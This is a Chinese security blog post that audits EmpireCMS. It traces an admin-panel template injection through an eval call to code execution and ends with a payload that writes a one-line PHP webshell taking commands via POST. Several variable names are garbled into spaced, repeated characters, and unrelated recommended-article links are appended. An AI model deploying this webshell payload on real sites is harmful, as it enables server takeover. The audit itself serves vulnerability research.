本文首发于奇安信攻防社区:https://forum.butian.net/share/471
第一次尝试自己审计代码,小白一个。审计了好长时间,终于皇天不负有心人,找到一处模板注入,最终发现一处代码执行。

审计过程:

采用关键函数溯源法来找的。全局搜索eval函数在e/class/connect.php

代码如图所示,能否利用这个eval函数,关键点在于 l i s t t e m p 和 listtemp和 listtemp和docode

然后全局搜索ReplaceListVars函数,找的使用这个函数的功能点,在e/search/result/index.php中发现使用了这个函数。如图

从这里开始再进行回溯,查看参数是否可控。可以看到 l i s t v a r 和 listvar和 listvar和docode都是从 t e m p r 中 得 到 的 , 所 以 回 溯 tempr中得到的,所以回溯 tempr中得到的,所以回溯tempr

可以看到 t e m p r 是 从 数 据 库 中 查 询 得 到 的 , 执 行 哪 条 查 询 语 句 关 键 在 于 tempr是从数据库中查询得到的,执行哪条查询语句关键在于 tempr是从数据库中查询得到的,执行哪条查询语句关键在于search_r[‘tempid’]

再回溯 s e a r c h r , 可 以 看 到 search_r,可以看到 searchr​,可以看到search_r是从数据库查询到的。

我们连接数据库执行查询,看看这个sql的执行结果。

可以看到tempid为1。所以$tempr是执行第一条sql语句查询出来的。这里再执行第一条sql看看

如图,listvar就是可以放到eval中执行的字符串,而modid就是控制能否执行eval的$docode。将过程反过来看就是漏洞成因。

而要利用这个漏洞还差一个条件,就是参数可控。所以接下来要找可以插入数据在这里的函数。

全局搜索第一条sql的数据库关键字,在ListSearchtemp.php中发现insert,可以确定这里是新增的地方。

在web中找到该页面。可以看到这里显示的模板名称跟之前用sql查询的名字一样,所以可以确定这里就是新增的地方。从页面功能可以看出可以新增和修改,所以eval函数的参数可控。

漏洞利用:

修改类别内容为phpinfo,同时勾选上使用程序代码。

然后从首页底部的搜索功能,到/e/search/result/index.php

用file_put_contents函数写入一句话木马payload,然后连接蚁剑:

file_put_contents(‘test1.php’,‘<?php eval($_POST[cmd]);?>’);

帝国CMS审计-后台模板注入导致getshell相关推荐

  1. 帝国cms教程后台关键字和tag标签自动同步更新的方法

    帝国cms教程后台关键字和tag标签自动同步更新的方法 在使用帝国cms做网站时,用到一个很有用的功能代码,添加文章的关键字时,把输入的关键字自动复制到tag标签,功能随简单,但很实用, 我们先通过帝 ...

  2. 帝国CMS网站地图sitemap的制作教程,分享2种帝国cms网站地图模板

    帝国CMS网站地图sitemap的制作教程,分享2种帝国cms网站地图模板 转载于:https://www.cnblogs.com/onlylove2015/p/5291446.html

  3. 帝国cms php调用模板变量,帝国cms列表封面模板和内容模板变量的讲解

    往往在免备案空间中建立了帝国cms源码程序之后,那么有些必要的变量还是我们需要知道的,比如说重写模板的时候,那么这个时候也是需要注重的,所以说可以说扩展变量的重要性相信建立过帝国cms站长朋友来说,应 ...

  4. 帝国cms导入html模板,帝国CMS模板组导入导出更换模板

    帝国CMS为了随心所欲更换风格与共享模板,EmpireCMS引入了模板组功能. 模板组的主要功能:模板导出与导入,模板共享更加方便. 多模板并存. 随时更换网站模板. 单个ECMS数据,多站点模板. ...

  5. 帝国cms华北新闻网模板php地方门户新闻网站源码带采集,帝国CMS新闻资讯-地方门户网站模板(带手机版)...

    点击查看模板演示网站(因演示站服务器运行有点慢,请多等待一会) 点击进入手机网站效果预览(用支持html5浏览器火狐或者谷歌预览),或者直接用手机扫一扫进入手机演示站 该新闻资讯门户网采用帝国CMS管 ...

  6. ecms 列表模板php,帝国CMS列表页模板list.var分别调用年月日(显示个性时间日期)

    在帝国CMS中列表页个性时间显示的实现方式,首先我们要知道用什么方法来实现,这里我们使用PHP代码来做. 要在模板代码中使用PHP代码,就必须勾选此模板代码页面的-使用程序代码.位置就在添加模板页面的 ...

  7. 帝国html5图片站模板,html5响应式自适应帝国CMS整站模板源码瀑布流文章图片资讯文章站...

    版本更新 模板已经适配到最新帝国CMS7.5(部分早期源码模板没有适配到最新)!截止2019-持续追踪更新针对机房黑产利用,和帝国CMS一个XS漏洞利用方法的堵截!正式版已补,请已运营的小伙伴找我查看 ...

  8. 帝国CMS建站模板,帝国CMS建站全过程管理

    帝国CMS建站.采集.发布管理,过程全自动管理是可以集成在一起实现的,看到这里,很多小伙伴可能认为是天方夜天.随着科技的进步,很多理论都已经实现.更不用说只是整合集成几个插件. 今天为大家分享一下如何 ...

  9. 帝国CMS仿《5857壁纸站》整站源码/帝国CMS图片网站模板/漂亮图片壁纸站源码

    ☑️ 编号:ym208 ☑️ 品牌:帝国CMS ☑️ 语言:php ☑️ 大小:202.5MB ☑️ 类型:5857壁纸站 ☑️ 支持:pc

最新文章

  1. 【C++】引用与变量
  2. 模式识别,计算机视觉,计算机图形学,智能控制,信号处理,语音识别,知识处理,机器学习,数据挖掘领域区别
  3. java怎么导入文件_怎么将文件导入java
  4. framework dyld: Symbol not found: _OBJC_CLASS_xxx
  5. java表达式由什么组成_必知必会之Lambda表达式
  6. VS2013编译64位boost流程及若干问题
  7. extjs Grid (二)
  8. 使用use strict指令的目的
  9. linux c 获取文件数量
  10. python-requests数据驱动延伸
  11. JS事件流(事件冒泡 事件委托)
  12. 微信开发(1) -- 将本地开发环境映射到公网访问
  13. 【生信进阶练习1000days】day5-TxDb等注释包的使用
  14. 大学计算机信息技术实验与测试教程第2版,大学信息技术实验指导
  15. html 制作箭头,怎么使用html制作箭头?制作箭头代码分享!
  16. linux单引号作用,单引号 双引号如何输入(Linux运维:单引号与双引号的使用)...
  17. 瞎扯:修仙文明VS科技文明发展潜力
  18. MySQL中使用SQL统计App的日活,周活,月活,年活
  19. Tensorflow环境搭建
  20. 十大经典企业管理理念

热门文章

  1. mybatis查询为中文时
  2. 麦克风的分类和性能参数
  3. CAD怎么输入文字?CAD怎么在线缆上增加文字?
  4. 仿百度壁纸客户端(六)——完结篇之Gallery画廊实现壁纸预览已经项目细节优化...
  5. 金蝶客户常见问题(二)
  6. 同等学力申硕难度大不大?
  7. 驱动程序无法使用安全套接字层(SSL)加密建立到SQL Server的安全连接
  8. 90后为何这么“秃”然?中国2.5亿脱发人都藏在了哪?除了程序员还有这个行业爱脱发!
  9. linux下查看系统自身宏定义
  10. 堆(手写堆包含STL)